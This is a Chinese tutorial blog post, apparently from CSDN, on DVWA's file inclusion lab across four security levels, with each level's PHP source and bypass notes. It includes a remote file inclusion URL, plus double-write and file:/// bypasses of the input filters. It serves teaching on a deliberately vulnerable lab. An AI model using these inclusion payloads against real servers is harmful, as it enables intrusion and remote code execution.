DVWA------文件包含(2)

一,DVWA的练习

在这里插入图片描述
先在php的配置文件中设置允许打开和包含远程文件
在这里插入图片描述

(1)low安全级别

【源码分析】

<?php
// The page we wish to display 
$file = $_GET[ 'page' ];
?> 

服务器端对page参数没有做任何的过滤跟检查;

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回;
在这里插入图片描述

【exp】

①传参,通过显示结果查看操作系统的类型,以及站点的目录;

在这里插入图片描述

在这里插入图片描述

②显示php探针

在这里插入图片描述

③远程文件包含
http://192.168.44.131/dvwa/vulnerabilities/fi/?page=http://IP/XXX.php

在这里插入图片描述

(2)media安全等级

【源码】

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

源码作用

  • str_replace()函数将“http://”,“https://”, “../”,“..\”替换为空;
    .

绕过思路

  • 复写绕过
  • 使用file:///方式绕过

【exp】

在这里插入图片描述

(3)high安全等级

【源码】

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

代码设计目的

  • fnmatch()函数检查page参数,要求page参数必须以file开头,且不等于include.php

.
绕过思路

  • 可以使用file:///方式绕过;

在这里插入图片描述
【exp】
在这里插入图片描述

(4)impossibe安全等级

【源码】

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到设计思路是默认拒绝的白名单思路
只允许规定的文件包含操作

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值